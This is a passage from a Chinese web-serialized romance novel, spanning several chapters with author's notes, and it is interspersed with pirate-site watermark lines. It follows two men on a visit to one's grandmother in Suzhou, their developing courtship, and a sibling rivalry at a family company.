“什么时候的事情?我们的第一眼,还是很多面以后?我遇见你那会儿,只觉得你是不会留意感情的人。”江知羽有些语无伦次。 戚述道“我以前的确没有想过这些,你可以怪我后知后觉。” 他在江知羽这里尝到悸动的滋味,从萌生发芽到似懂非懂再到恍然大悟,说不清楚是哪个节点扭转了性质。 “意识到发生了什么的时候,我就已经不像我了,但是我不肯退回去。”戚述说,“你能原谅我私自做了这个决定吗?” 江知羽呢喃“这些是你的自由,本来就不算犯错,更谈不上需要我去纵容。” 戚述笑了一下,似是对自己有些无奈,解释的语气如同轻叹“我要向你求爱,就应该征得你的同意才可以。” 话音刚落,江知羽不禁怔愣,随即听到戚述继续讲述。 戚述的音色天生偏冷,容易让人产生距离感,到了江知羽面前则根本不是那样。 他的声音听上去很温和,收敛了所有攻击性,只是不失那份沉稳,让江知羽清楚自己没有半分动摇和含糊。 “你记得保护好自己的心,但对我不用有任何顾忌,你来检查这颗心懂不懂爱人,是不是要和你长久,够不够装下真实的全部的江知羽。” 戚述善于掠夺谋取,也不回避自己有城府,如今甘愿卸掉那些强势的策略。 他清楚江知羽的不安和混乱,也清楚对方有所保留,无论是探究还是考验,戚述都一并接受。 被提到的江知羽问“这些权力会不会有交换的条件?” 戚述说“我想被你点头允许,开始光明正大地追求你,你愿意跟我换么?” 每句都听得无比清楚,江知羽的脑海有些乱,深深吸气“光点一下脑袋不够吧,我回答得也很郑重。” “你的意思我明白了,我会认真去考虑。”他答应了条件。 人的耐心往往有限,江知羽想划一道线,用于自身的催促“你会等我多久呢?” 戚述流露出几许霸道“我的时间很多,随便你怎么挥霍,要让你把自己完全交给我为止。” 出来弄得衣服上都是碎叶和灰尘,两人的形象很不体面,月色下光影昏暗,江知羽却觉得一地的枯黄都在闪闪发光。 身侧的男人摇身变成了爱慕者,对上眼神都变成了另一种味道,他有些生涩地应对着。 他们赤i裸相对过 (笔趣&阁., 也交锋周旋过,江知羽以为能够成熟地游走在对方周围,然而他高估了自己,仅仅是多出了一段告白,十指相扣都值得被脸红。 身体的快感赤i裸直白,会因为肾上腺素的激增而澎湃,再随着感官刺激的平息而褪去,现在却是截然不同的体验。 那些话语已然消散在了夜色里,内心汹涌的滋味却经久不息。 他们回到酒店,江知羽被戚述送到楼上,戚述却止步在了门外的走廊。 戚述只乐意分开十个小时“明天八点钟,可不可以找你吃早饭?” 江知羽回答“再早一点吧,七点见。” 眼巴巴煎熬的时长被缩水,戚述灿烂之余不忘欠抽“这么舍不得我也行。” 江知羽扯了下嘴角“既然都来了江浙沪,我做了计划去看望奶奶,你在想什么啊?” 戚述立即换了话术,男朋友的身份还没落实,转头上岗当牛做马。 “你的行李箱很大,我来帮你拎吧,好几天没有去击剑了,教练说我要锻炼臂力。”他随机抓人瞎编。 江知羽凉飕飕地说“带我爸一天之内爬了长城去故宫,又在北海公园荡起双桨,我以为你应该要调养内伤好一阵呢。” 戚述拐着江锦昆瞎跑,这会儿老实了“我就是略尽地主之谊,到了苏州全听你的吩咐。” “我把高铁信息发你微信上,已经约了专车七点半来接。”江知羽道。 他这么说完,转头特意查了这趟车次。 自己之前买的时候,其他坐席都售空了,唯有二等座还有少量余票,如今刷新了下,情况突然反了过来,其他的大概都有陆续退款。 戚述跨国出差都是私人飞机,江知羽以为他肯定无理由买最贵的那一档,第二天到了高铁站,却不是这么回事。 江知羽瞪圆了眼睛,诧异“你怎么会是站票啊?” 说是没钱太扯淡,戚述道“和你买不到一起去,想要和你离近点儿。” 江知羽感到招架不住,埋下头陷入了沉默。 瞧着江知羽害羞,戚述心满意足,拿起手机处理了一会儿工作消息。 期间有微信弹窗跳出来,昨晚沙龙建了一个小群,最初几个组织者以此商量地点。 今天还没解散,有人说俱乐部的环境不错,问贺景延讨要老板的联系方式。 贺景延推了好友名片在群里[和他打过招呼了,你自己加。] 那人道谢之后调侃[我靠,互联网民工能起那么早?] 戚述一直潜水,随后贺景延表面叹气[没办法,爱上了事业狂,周末只能陪着去加班。] 戚述对这种人嗤之以鼻,没想到他们居然议论起了自己,说他孤苦伶仃真是凄惨。 与此同时,江知羽揉了揉肩膀,戚述分散了注意力,从而伸手帮忙去揉捏。 他的手没有自觉撤回来,先是小心翼翼地搭着肩头,察觉到江知羽没有抵触,再慢吞吞地占领版图。 戚述左手半搂着江知羽的脖颈,坚强地向群友冒泡[不懂哪里可怜,我也没有很想谈恋爱。] 作者有话要说 群主,把装逼的金融男踢出去。 感谢大家一直以来的包容和支持,因为我很i,担心说错话引发歧义,所以不怎么回复评论区,其实几万条评论我每一条都有看,猛猛鞠躬。 写这本我其实非常紧张,不少读者都是追过我两三本,带着很大的期待点开了新文,拥有这种信任来之不易,我很怕自己对不起两位主角,也怕自己对不起读者,一直有在尽全力去写。 我会认真写到全文完结,希望大家可以放心,有建议和指教都可以自由提出,身为作者也有基本的把控能力,会思考、吸收和复盘。 希望故事带来的情绪是积极和温暖,大家阅读愉快最重要!(再次鞠躬) 第 74 章 苏州 硬气地发表完重要讲话,由于可信度太低,全世界有脑子的看完都笑了。 面对满屏幕的质疑和同情,戚述正准备再犟几句,想澄清他乐在其中谢绝关心,但手边的江知羽忽地动了动。 脊梁骨全用在对外死要面子上了,感觉到江知羽无意识往旁边挪,戚述立即退出群聊揣好手机,情不自禁地贴了过去。 “我想喝咖啡,你要吗?”江知羽扭过头,扫过周围的店铺门面。 闻言,戚述很后悔微信群退早了。 否则多少绝地反击一下,证明自己有多幸福,让那群人开开眼界。 说完,幸福男人甘当跑腿,“楼上有一家,我过去买。” 江知羽起得太早,浑身没什么力气,就等着戚述这句话。 站内咖啡店的生意很好,他先在线上点单,过了大概十分钟,再用手肘撞了撞戚述的胳膊。 戚述拎回两杯热焦玛,走回来的时候,候车大厅播报着到站信息,入目之处喧闹熙攘。 前面一群旅客挡住视野,原处变成许多人排起长队,戚述捏紧纸袋,移过漆黑的眼睛,随即找到了江知羽。 江知羽就在近处,安静地抱着双肩包,坐在两只行李箱上百无聊赖之际,却东张西望没玩手机。 几乎是被发现的同时,他与戚述对视,再招了招手。 “下一班就是我们的车,应该也快检票了。”江知羽道,“我刚和奶奶发了语音。” 这趟行程很匆忙,两人没有商议过计划,戚述说“她这会儿是不是在给你烧菜?” 江知羽道“一大早她就去出门了,保姆拦都拦不住,拍照过来买了鱼和鳝丝,还有好几只大闸蟹养在水池里。” 最近是吃蟹的季节,戚述接茬“能看到自家小孩她肯定开心,估计今天中午能给你摆上满满一桌。” 他虽然主动提出陪同,但自知来得草率,顾着修养分寸,没打算贸然登门打搅长辈。 在他的安排里,默认不给人增添麻烦,届时送江知羽到家,就独自去附近打发时间。 然而,江知羽困惑地望向戚述“五个菜两道汤,她弄那么大的排场,当然是因为我说了有学长一起来,你当自己不上桌吃饭啊?” 戚述顿了下“这样不会影响你们?” 江知羽记着戚诺的话,随口道“我家没有商业机密,不需要做防风险措施。” 很快他们搭上高铁,戚述待在车厢连接的贯通道上,江知羽没有独自坐下,跟着挤到角落。 戚述逗他“尊贵的二等座乘客,你怎么也沦落到这里?” 江知羽道“甲方的老板都站着了,我一个人舒服不好吧?反正也就半小时。” 让甲方搬行李取东西没少使唤,这时候装得规规矩矩。 路途中,戚述准备订酒店,询问江知羽定位在哪个区更方便。 江知羽说家里的平屋早已拆迁,如今换成了商住房,四室两厅足够招待客人。 “底楼带一个小院子,买的时候我和我爸已经出国了,这套房就是用来给奶奶养老,装修什么的比较简便。”他道,“你不介意的话可以住。” 既要吃饭还要过夜,戚述怕这样太叨扰,可江知羽的话术巧妙,自己的礼貌就像是与对方隔阂。 于是戚述没推让,道“等下我去买点东西,空手做客都不敢夹菜。” 江知羽说“我爸前阵子刚看过奶奶,说她最近血压有 点高,你买点雪梨和葡萄就可以了。” 讲是这么讲,戚述还捎上了几罐补品,进门之后付芬看到这些礼物,连忙说他实在太客气。 江知羽没让他俩推拉“他特意精挑细选,都是适合你吃的东西,奶奶你就拿着好了。” “你朋友长得这么俊啊。”付芬戴着老花镜,笑眼盈盈,“你们是大学的同学么,看着很熟络,初中就认识了?” 江知羽含糊说“他学校和我的靠很近,现在工作上也有一些来往。” “那你们在京市互相照顾啊。”付芬语重心长地说着,又让两个孩子赶紧去沙发休息。 老人慈祥和蔼,让保姆去倒了茶水之后,开始与江知羽嘘寒问暖,一会儿觉得他脸颊瘦了点,一会儿问他这趟有没有累着。 她没有忽视客人,时不时提到戚述,说起他是什么工作,平时的生活怎么样。 这种打听全然出自关心,没有任何权衡计较,付芬尽管没有识过字,但起起伏伏过了大半生,阅历不局限于这方屋子,为人也包容和蔼。 到访之前,江知羽与戚述说过,付芬早年捡纸盒做苦力活,咬牙供江锦昆考上大学,自己小时候父母忙碌,也是由奶奶一手抚养到了九岁。 现在能够面对面接触,戚述看着付芬与江知羽交谈,心想,江知羽处事坚韧,应该在家里就有耳濡目染。 付芬拍了拍江知羽的手背“我让人在外面搭了凉棚,你带小戚看看,种的菠菜等下就摘了炒一盆。” 江知羽领着绷紧的小戚去院子,说“以前家门口也有凉棚,栽点小葱还有绿叶菜。” 走到外面,戚述放松下来“我头一回见到这种布置,当季种什么吃什么很有意思。” 江知羽说“对啊,那些菜可新鲜了,我到国外就不适应,水土不服搞得我爸赶着下班做饭。” 戚述看向他“那时候很辛苦吧?” “唔,我其实不是很想出国。”江知羽道。 彼时他刚读完小学,这个阶段虽然对外界有好奇心,但让他完全换一个环境,肯定是慌张和怯弱更多。 他说“但感觉我爸需要我,他到那么远的地方重新开始,得有一个人在身边。我考虑得太简单了,反而给他增加了不少压力。” 院子摆着休闲桌椅,江知羽随便挑了个地方坐下,戚述拉过一把椅子靠他更近。 戚述说“你的支持对他很重要,他不会把你当做压力。” 继而他道“我听说你爸做过刑诉?” “是这样。”江知羽道,“在他事业刚起步的年代,执业律师都没有多少,做刑诉属于吃香的行当。” 当初江锦昆收入不算高,但自身有潜力,这份职业的前景也好,哪怕一时间没能扭转家境,久而久之总归能改善条件。 “后来资本市场兴起,他的嗅觉很灵,去做非诉的东西,那个时候我才读五年级,很多金融规则都没完善。” 江知羽这么说着,笑了下“我爸跳槽没过两年,所里有外派的机会,他竞争到名额,之后独立立出去,合伙开了钧易。” 寥寥几段话,期间有多少辛苦难以言喻。 江锦昆调整业务方向,乘了东风青云直上,和眼光、斗志、时机都有关系。不过他能付出那么多心血,如果换成其他领域,肯定也会有一席之地。 江知羽说“他很厉害,当年谁懂业绩股票是什么东西啊,连概念都很新,他就要马上写出计划书。” 戚述说“那你也一定有陪着他。” 本作者时有幸提醒您最全的《我们可没有谈恋爱!》尽在[笔趣阁小&说],域名[(. 江知羽回忆“我就在他旁边写作业,自顾自睡觉,自顾自上课,有时候我起床去学校了,他还在桌边写报告,一整晚没有休息过。” 话音落下,戚述道“如果时间可以回退,在进门前听你这么说就好了。” 江知羽疑问“为什么?你要抓我爸过来合家欢啊?” 要是江锦昆真的在场,这顿饭估计没法吃,一大家子能保持和平都够呛,吴侬软语分分钟变成战火纷飞。 戚述从而停顿片刻,淡淡解释“你奶奶不会看到,我可以摸你脑袋安慰,而不是只能倾听。” 话音落下,江知羽眼神闪烁,尽管戚述没有触碰自己,他却觉得被抚摸了一遍。 两人氛围忽地微妙起来,呼吸不管放轻还是局促,彼此都显得有些暧昧。 没让江知羽忐忑太久,保姆在屋内喊“咱们吃饭咯,我给你们洗了新筷子。” 江知羽立即站起身,说自己要吃两只螃蟹,付芬已经在桌边坐下,让戚述喜欢什么尽管吃,不用与这里生分。 不肯和戚述对视,江知羽却为他做打点“奶奶,他今晚在这里睡,下午我们收拾房间?” 付芬吃着响油鳝丝“好啊,我清早就把你的卧室腾出来了,他和你一块儿住呗。” 让戚述留宿是一码事,把人留到了自己床上是另一码事,江知羽喝了口鸡汤,登时感觉有些烫嘴。 尤其戚述朝他看了过来,他顾不上发蒙,连忙问“为什么?” “你们两个男孩子这么亲近,随便挤一挤不方便呀?”付芬也一头雾水。 被戚述注视着,江知羽脑袋有些空白,耳边循环放着那些告白语句。 他心乱如麻,讲得磕磕绊绊“不、不是这个意思,主要这儿有两间空房啊?” 付芬年事已高,平时由保姆日夜照顾,所以保姆就住在主卧的隔壁。 其他两间留给江锦昆和江知羽,刚才江知羽潦草瞄过自己的房间,的确整理得很干净。 “你爸爸的卧室没有了,他之前过来都在你那里凑合。”付芬说,“他的被我改成了麻将室。” 江知羽? 保姆笑道“你奶奶每周四天组局,和姐妹们搓上小半天,之前夏天出去太热,她干脆买了一台麻将机,用的还是你的红包。” 江知羽“……” 保姆道“我下午翻翻橱柜,给你们多晒一床棉花被,这样可以不?你那张床本来就大,晚上不会有妨碍了。” 然后,付芬看向戚述“要不就这样?” 江知羽跟着转过脑袋,戚述在老人眼里很懂事“我没关系,这方面不挑,只要他乐意凑合,我蹭他的被子也可以。” 作者有话要说 床再大也没用,让他俩睡草坪有个人都能贴过来拼到一起 第 75 章 西厢 一方表现得那么礼貌和听话,另一方太挣扎就不妥当,江知羽随后敛着眉目同意了。 紧接着,他的碗里被戚述夹了鱼肉。 继而江知羽吃起来,戚述弯着眼睫,瞧上去很快意。 戚述虚伪地说“学弟,这次真的叨扰你了,我都有点难为情。” 江知羽也假惺惺“说得那么生分干嘛,我怕自己不够周到呢,疏忽的地方请你见谅。” 戚述打起预防针,状似自卑地说“我的睡相不太好,半夜里打滚翻身,有点担忧你会嫌弃。” 江知羽? 怎么记得他最开始是数落自己姿态糟糕呢? 同床共枕多少次了,来这套?当自己不知道他真睡了以后动都不动? 当着别人的面,江知羽不动声色,缓缓勾起嘴角。 “没关系,我也好不到哪里去,做梦的时候就爱施展拳脚,当心别把你踹下床。”他回敬。 他俩交谈的声音压得轻,付芬年纪大了耳朵不好,只知道年轻人们在窸窸窣窣,保姆则捧着饭碗在看电视。 吃完饭,长辈需要午睡,江知羽说自己领着客人四处逛逛。 这套房子落在姑苏区,周围景点丰富,从拙政园到狮子林,处处是曲径通幽小桥流水。 京市庄重广阔,沪市繁华洋气,而这里粉墙黛瓦映衬着波光,别有一番江南的婉约和秀美。 两人的脚步都变得悠闲,走走停停晃悠到平江路,肩并肩踩过青石板,再沿着河流往前走。 在学校停下,江知羽比划“我小学就在这里读,当时觉得四百米的跑道好长,体育热身怎么跑都跑不完,课代表领头狂奔,还笑落队的腿短。” 隔着栅栏,戚述打量校园“那你会不会找借口偷点懒?” 江知羽从小就不服输“后来我每天放学,就自己来操场锻炼,期末考超到了课代表前面去。” 他和戚述边聊边逛,许多景色在这些年换了模样,包括学校也翻新过数次,和自己的印象不太一样。 远走他乡之后,他唯有假期短暂地回来几天,大多数时间用来陪伴家人,鲜少有心思这样漫步街头。 如今与戚述一同看了,江知羽也觉得新鲜,如今是商场的地方曾经有公园,说起来母亲还带他去公园开过电动小车。 “我妈妈是报社的笔杆子,一手字也很漂亮,帮老板在硬板纸上写了收费规则,每个人路过都多看几眼,问他是不是请了书法家。” 江知羽分享着,笑了笑“我每次坐玩具车,老板都多送我十分钟,搞得我不好意思经常去,眼巴巴地忍着。” 戚述很捧场“现在不用你忍了,有机会我带你玩。” 江知羽无语“我个子快要一米八,塞都塞不进去了吧?更别说你了,两条腿伸得开么?丢不丢人啊……” 戚述说“横竖都是车,换成法拉利有什么不可以,我回去以后约一下赛道场地。” 江知羽噎了下,很想给这种任性的有钱人挑点刺,又因为戚述在认真制订行程,硬生生地囫囵吞回原话。 来日有诸多不确定因素,江知羽习惯于无拘无束,不会把自己钉死在某处。 但被别人用心地规划到未来里,这种滋味很奇妙,让江知羽神色惴惴,却没有出声打断。 他们傍晚去听了评弹,琵琶声里弦索悦耳,唱的是当地方言。 戚述端坐在台下,愣是一句没听懂,难得成为了文盲。 这出《西厢待月》很有名气( 戚述摇摇头“我听过一点昆曲,感觉咬字音调有点像。” 江知羽吃了会儿零嘴,继而袋子空了,朝戚述摊开手掌,里面捏了剩下的几枚花生。 他开始知识抽查“《思凡》和《紫钗记》,哪个是昆曲?答对一半就奖励你。” 提到的两个全都是,然而送分题能被戚述做成零鸭蛋。 戚述当起白痴“我不是很清楚。” 她和江锦昆最开始不敢让江知羽去看,就硬着头皮瞒了一会儿,后来江锦昆认为江知羽有选择的权利,决定带小孩去医院。 江知羽当场就崩溃了,被仪器环绕的母亲没有意识,看不清本来面目,可血脉相连又怎么可能认不出来? 赖在病房不肯走,被抱出来以后哭到晕厥,回家里依旧止不住发抖,吃不下东西又频频反胃,隔一会儿就要询问妈妈什么时候能出院。 过了几天,孟佩彤短暂地恢复意识,江锦昆正好枯守在旁边。 付芬道“后来我儿子就说不治了,照着她的意愿带她回家里。” 浑身插满管子,连翻身都做不到,并发症没有转圜余地,待在重症监护室不过是苟延残喘。 无论医学如何分析,家属在情感上无法割舍,祈祷能够多拖几天,盼望可以出现奇迹,但病人待在医院里,或许是感到折磨更多。 “回家熬了三天,大家都陪在床边。”付芬沉声说。 言语在此刻太苍白,戚述哑然地看着那些报纸段落,没多久,江知羽吹干头发从浴室出来。 见他们坐在客厅看相册,江知羽发现戚述的表情有些失神。 “人年纪大了,就是变得很啰嗦,和小戚讲了讲家里的事。”付芬率先说,“害得他心情跟着不好。” 江知羽隐约听到了些,不难猜出奶奶具体说了些什么。 实际上,付芬不怎么爱与外人提旧事,估计是瞧出戚述流露的黯然和疑惑,心知对方不会把这段过往当做谈资,所以忍不住与他感慨。 没让江知羽感到局促,戚述向付芬宽慰了几句,表示自己能被信任很惶恐,并没有为此烦闷。 他再问江知羽“我这就改签班次,明天陪你去看看伯母吧?” 江知羽本来的确有些别扭,担忧戚述的反应太沉重和窘迫,这会让自己无言以对。 当下,他逐渐放松下来“早十多年被我爸迁去巴黎了,在这儿扫墓也没地方。” 之后戚述去洗漱,来到江知羽的卧室,中间那张床足足有两米多宽。 床头看着有些旧,应该是从平屋搬过来的家具。 尽管保姆说过一嘴,戚述还是惊讶“为什么你小时候的床会那么大?” “一边我自己睡,一边放我的玩具。”江知羽解释,“曾有玩偶一米八高。” 床单都散发着阳光的气息,保姆都已经打点好了,他俩各盖各的棉花被。 戚述靠左,江知羽靠右,中间宽敞得能再睡两个。 虽然两人亲昵过许多次,但今晚躺在一处,莫名有着复杂滋味。 江知羽裹住自己,故意克制着动作假装安稳,连自己的翻身次数都限制,却直挺挺地睡不着。 他想象戚述过来占便宜,有些生闷气,再想象戚述没搭理自己,更加不太对味。 追人是这种态度?戚述不会自顾自地睡过去了吧? 平时那么喜欢骚扰人,现在讲规矩了?江知羽有些不安,到了深夜就容易胡思乱想。 黑暗里,他望着天花板,然后感觉到自己的被子好像有点漏风。 尽管江知羽没有抵抗,可戚述没有靠太近,也没有得寸进尺。 他单单是握住了江知羽的手腕。 温热的指腹缓慢摩挲,不知不觉成了十指相扣“还没困?” 江知羽感觉浑身变得酥麻,坦诚地压低声音“没,你也不休息?” “感觉欠了你东西,要扯平才能心安。”戚述轻声道。 “戚先生不是奸商吗?只管要、不肯给,连吃带拿扫个干净。”江知羽嘀咕,“我怕划不来,你说说是什么买卖。” “你借我半边住处,我借你半边肩膀。”戚述现在却只想给,“你觉得不够可以问我拿走更多。” 作者有话要说 第 76 章 出息 一时间,两方安静,江知羽踌躇半晌,轻手轻脚地挪去戚述那边。 他以前喜欢枕在戚述胳膊上,缠绵过后余韵还没退去,独自入睡缺了一点情趣。 正好戚述的臂弯线条流畅,能让他安然踏实,要是不舒服了也能逃跑。 此时,江知羽的脑袋先蹭过戚述肩头和颈窝,继而更进一步,慢慢地靠到了胸口,亲昵的姿态近似于依偎。 “你的心跳好吵。16( 戚述没有回答,伸手牢牢搂住他,掌心摸过他的黑发,再拍了拍他单薄的后背。 江知羽不清楚是什么时候沉入了梦乡,在这张木质旧床上,被戚述的气息包围着,醒来已经临近晌午。 窗帘没有拉严实,透进来几许光亮,周围绿化茂密苍翠,底楼鸟鸣吵闹,耳边一阵叽叽喳喳。 戚述不在屋内,江知羽睡眼惺忪地推门出去,就看到对方卷着卫衣袖子在洗菜。 “绒绒,你看哪有让客人去厨房的道理?”付芬无奈,“你朋友太热心了,我拦也拦不住。” 戚述瞧过来,与江知羽对视“奶奶请我去吃了三鲜面,我本来也没事做,回来就搭把手。” 流理台放着几盆原料,保姆在翻炒虾仁,捕捉到一旁有酒酿饼,江知羽嗅着味道地凑过去。 他捏了一块饼,懒洋洋地吃着,打量戚述摘菜叶。 “不知道学长原来这么居家,你在婚恋市场应该很抢手吧?”江知羽揶揄。 戚述把青菜装进过滤碗,放到水池旁边去,整个过程利落熟练。 迎着江知羽的注视,他散漫道“我有一个看中的人,已经非他不可了,不会到市场里去,所以没抢不抢手的说法,只分结果有没有成功。” 难得和年轻人接触,保姆很新鲜“原来你这么痴情的啊?你也别灰心,成家需要慎重,磨一磨感情更好。” 戚述瞥过江知羽,低头笑了一下“嗯,有资格被认真掂量,我其实很荣幸。” 说得那么卑微,好似有多么求而不得,实则晚上和人黏得脸都贴在一起。 江知羽默默垫着肚子,没有搭理这人,随后戚述帮完忙,擦干手跟到他旁边。 “我爸的卧室成了储物间,好多东西都收在那里,你要不要去参观?”江知羽歪过脑袋。 戚述一直心里很好奇,只是守着礼节,没有乱动和乱看。 当下被江知羽主动带路,他欣然踏进了江锦昆的房间。 各类奖状和奖杯摆满了书柜,江知羽每年都是三好学生,参加奥数和英语竞赛也拿到了金牌。 墙角有一把椅子,上面摆着庞大的卡通熊,目测身量有一米八,应该就是江知羽小时候的玩伴。 江知羽轻松地举起这只熊“它是我爸送的礼物,当时价格好贵,快是我爸小半个月工资。” 玩具材质优秀,设计得非常可爱,戚述轻轻捏了捏熊爪“它保存得很好,一点灰尘也没有。” 江知羽道“小时候我爱和奶奶睡,一个人待在房间会害怕,我爸嫌这样下去很难独立,把这只玩具作为过渡,最开始我隔三差五想扔掉它呢。” 记起这个,他不禁抱怨“这玩具太大了,我拖它走都很费劲。” 戚述说“后来你还让它占着床,是跟这只熊和好了?” “算是吧。”江知羽思索,“那会儿我太小了,整个人可以埋里面,我觉得很安全,就是它有时候会掉到地上,半夜里突 然就摸不到了。” 卡通熊虽然只是一团棉花,但曾经是自己最忠诚的伙伴。 他得了表扬大晚上还兴奋,就与之碎碎念,去医院看过母亲之后恐惧无助,满脸的眼泪全都往上擦。 江知羽说“跟我爸移居的时候,我想带它走来着,但听说飞机有限重,转运似乎很贵,也就没有提。” 戚述说“到了法国安顿完,你有没有买个一样的回来?” 江知羽摇摇头,眼神变得坚定“我觉得自己应该学着做一个大人。” 说到这个,他有些哭笑不得。 “去年我回来住了两天,奶奶把熊洗干净,还放在我床边,让我回忆童年。” 戚述道“今年你捎上了我,我把它的位置挤掉了。” “你怎么听着有些得意?和玩具都能计较?”江知羽微挑眉梢。 戚述淡淡回答“因为你被我抱着,昨晚睡得很香。” 江知羽噎了下,再听戚述说“这只熊太笨了,又不会讲话,遮风挡雨也够呛,我和它争风吃醋做什么?” 江知羽觉得他挺在乎“你能不能别掐它的胳膊了?” 戚述说“我是在可惜当时没和你遇见,你凑过来我就会抱住你,不会让你找不到。” 闻言,江知羽有些怔住,不太自在地错过了戚述的目光。 戚述径自道“你要到其他地方去,我也不会被那些规矩拦在原地,如果你想做一个大人,我肯定和你说,你绝对可以变得优秀又成熟。” 靠在书柜前,江知羽掐了下手心“是么?” 戚述说“还落了半句话,外界划分身份好坏和价值标准,我这里你就不用满足任何概念。” 江知羽略微紧张,探究问“很差劲,也很幼稚,这样都能及格,你的要求太低了吧?” “我没办法对你用这种制度。”戚述弹了下他的眉心,“做卷子才讲究加分减分,去选择只需要我确定这是爱情。” 外面有走动的声音,房间门被关上了,却依旧教人有些忐忑。 江知羽别开头,急促地说了句“肉麻”,暗落落与戚述拉开距离。 戚述道“怎么脸皮这么薄,随便讲讲就受不住。” 江知羽讨饶“毕竟我没收过情话。” 他受人欢迎,示好向来不少,可他往往推拒,谈不上为此有波澜。 这时的感受截然不同,戚述明白了,得逞地笑了下,看着有一些坏。 两人仿佛早恋的学生,躲在储物间交头接耳,独享家长看不到的角落。 吃过中饭,他们与老人告别,难得过了一个悠闲周末,是时候启程回京市了。 与戚述结伴出行,不用担心时间管理,日程节点安排得井井有条,江知羽还能不紧不慢地在路上买伴手礼。 上次他给同事分享苏式糕点,有好几位赞不绝口,特意去网上回购,所以这回又上心带了几盒。 “这些给你。”江知羽说,“这家店做得不太甜,你可以过个嘴瘾。” 戚述说“有点太多,我拿一盒就行。” 江知羽道“让你妈妈那边也尝尝。” 戚述顿了下,没想到江知羽把这方面也考虑进去,于是自己没再推拒。 当地没有机场,绕回沪市太麻烦,他们索性坐高铁离开,路上总共四个多小时。 这趟出差发生了太多,江知羽望着窗外回想,被戚述邀请来做翻译,最后浮在心 头的却没有一桩属于工作,但又全都印着对方名字。 时有幸提醒您《我们可没有谈恋爱!》第一时间在[笔@趣阁,记住[(. 梧桐草叶的味道尚在鼻尖,从车厢顺着人流下去,北方已然是初冬的凛冽颜色。 黄昏时气温很低,天黑得也早,出去时可以呼出一口白气。 松晟的司机等在外面,江知羽要去办事处,戚述让司机先绕去蒲音。 在这里打车也方便,不过江知羽犹豫两三秒,终究礼貌地搭上了车。 回到双方相遇的城市,彼此的关系悄然不同,无论江知羽是否愿意承认,自己乘顺风车是假,不想与戚述分开才是真。 最好晚点,再晚一点,路上都是红灯,哪怕他们没有聊天,纯粹是各自风度地酝酿心思。 停在蒲音的大楼旁,江知羽起身开门,戚述也往另一侧下来。 江知羽心照不宣地慢了几步,然后戚述抬手,含蓄地帮忙整理他的衣襟。 戚述道“同事问你周末在哪里玩,你要怎么回答?” 江知羽哼声“被人穷追猛打,实在是太热情了,我分不清这是劫持还是邂逅。” 戚述扯起嘴角“邂逅有点清新,不知道的以为是眉眼来去,都同意和我牵过手了,你要诚实地说成约会。” 江知羽戳了下他的肩膀,揶揄“占有欲这么强烈的话,有劳下次来蒲音带个扩音器吧,把你的声音传到钧易去。” 来到办公室,江知羽泡了杯咖啡,豆子又换了一个品种,没那么酸了,但没有戚述取来的热焦玛好喝。 他开始统筹之后的部门工作,配合笔译和口译跨组协作,又翻阅工作邮箱,推进度做答疑,找到一些原来的状态。 等到节奏稍微缓下来,情绪又变成了那一出《西厢待月》,有情人拂墙私会,自己竟然连夜加班。 江知羽的打工态度不端正,不禁恶向胆边生,逮着周柯就问调薪通知什么时候发。 公司每年都有薪酬普调,不过每个人的上涨比例不同,周柯说今年的还在研究,让江知羽缺钱就问永煊去捞。 江知羽跟人找茬完,凑巧真的要到永煊对接方案,去之前随口与戚述提了一嘴。 当日,他到了集团总部,被前台友好地接去会议室,远远就看到戚述等在走廊上。 江知羽困惑地愣了愣,随即抛去一个眼神,询问对方为什么会出现在这里。 尽管父母已经分家,但戚述依旧有不少实权股份,平时只是不愿意参与内部事务。 他临时起意想来坐坐,绅士地请江知羽先走。 发现戚述来了,在场许多高管都很诧异,有几位是自家亲戚,也惊讶地朝戚述颔首示意。 戚诺到场的时候,显然已经有人通风报信过,发现戚述坐在台下,表现得没怎么意外。 他与所有人招呼了一遍,神色谦卑和善,对接过程有几次矛盾,也由他出面调解了冲突。 另外一边,戚述没怎么讲话,然而所有人都在关注他的态度。 比起猜忌或者提防,更像是一种畏惧,怕自己哪里做得不够好,留了把柄会让人瞧不起。 而戚述其实全程没有反应,说是旁听就没有任何指教。 这是间接敲打,亦或是夺权预告?没人揣测得明白,越想越是觉得山雨欲来。 但戚述的用意很简单,主要是想多看江知羽几眼。 其次,戚诺那份调查报告让他不快,他也返还这一份挑衅。 戚诺散会后喊住了他“谁让你参会的?” “我想来就来了,没人拦着。”戚述冷淡说,“董事长秘书还帮我指了路。” 戚诺沉默片刻,忽地笑起来,神色阳光爽朗。 “怎么,你报仇啊?”他道,“我帮你认识江总监的过去,你不识好心咬我一口,就这点胳膊肘往外拐的出息,江知羽给你下蛊了是吧?” 描述的时候,戚诺有在挑拨和激怒,然而压根没有效果。 戚述比他说的更不值钱“没你想的那么有难度,他勾勾手指我就被迷倒了。” 作者有话要说 骂恋爱脑骂到货真价实的了 时有幸向你推荐他的其他作品 第 77 章 脐带 戚述是个自尊心极其强烈的人,争强好胜、目标明确,天生注定反骨重,哪怕处处受到桎梏,也不允许自己放下姿态。 这样的性格会让周围态度两极分化,有的人欣赏他重用他,也有的人抵触他畏惧他。 打这个弟弟出生开始,戚诺就属于后者,他幼年身患大病痊愈没多久,随后多出一个疑似替代品的新家人,对此很难不产生抵触。 幸好爷爷作为说一不二的大家长,偏爱身为长孙的自己,亲戚们依附于永煊集团,懂得看爷爷眼色,与他最为热情和亲切。 包括父亲也同样,常年迎合爷爷的意志,潜移默化里更袒护戚诺。 最开始,戚诺自知被许多人溺爱,外加母亲从中劝慰,他面对戚述没有太大的敌意。 最多是有一些膈应,偶尔他甚至觉得弟弟有点可怜。 大家来庆祝戚述的生日,却会对戚诺更殷勤,表扬哥哥期末考了双百分,夸赞哥哥的个子长得很快。 他们表面上没有明显的区别对待,也会询问戚述刚升小学过得怎么样,自以为孩子哪能察觉其中微妙。 不过戚诺明白,戚述沉默地远远旁观着,全部都能够感知得到。 而且戚述有过困惑,为什么大家对他往往点到即止,对兄长则是贴心过度。 母亲意识到了戚述的沮丧,找他俩做过谈话,解释了兄长生过病,很坚强也很不容易,让弟弟多多关心和体谅。 “兄弟血脉相连,应该互相照顾,哥哥以后多带弟弟玩,可以么?”聂茹熙问戚诺。 戚诺没答应也没拒绝,说自己被选进了学校篮球队,爷爷骄傲地买了礼物,他急着要过去拿。 大概就是那些话语引导了戚述,让人以为足够优秀就可以获得喜爱。 一个人的头脑聪慧与否,幼儿园时无法拉开差距,但到了小学就可以体现出来。 戚述抓住了所有机会,哪怕是兴趣爱好,也要做到拔尖,当戚诺反应过来的时候,连爷爷都在说弟弟的天资很好。 